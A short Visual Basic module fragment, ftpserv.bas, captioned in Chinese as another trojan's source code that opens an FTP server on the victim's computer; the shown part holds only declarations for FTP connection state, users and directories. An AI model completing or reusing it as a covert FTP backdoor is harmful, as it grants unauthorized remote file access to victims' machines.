ftpserv.bas

另一个可以在你的计算机上开FTP服务器的木马源代码

Attribute VB_Name = "FTPSERV1"
Option Explicit

Type FTPConexao
   DiretorioCur As String
   TransferType As Integer
   PortaDados As Long
   DataAddress As String
   User As String
   Authenticated As Integer
End Type

Global Const TYPE_ASCII = 0
Global Const TYPE_BINARY = 1
Global Const USER_FORMATO = "!@@@@@@@@@@@@@@@"

Global Const MAX_USER = 100

Global gConexoes(1 To MAX_USER) As FTPConexao
Global logado(MAX_USER) As Boolean

Global cDiretorioFTP As String
Global cMascara As String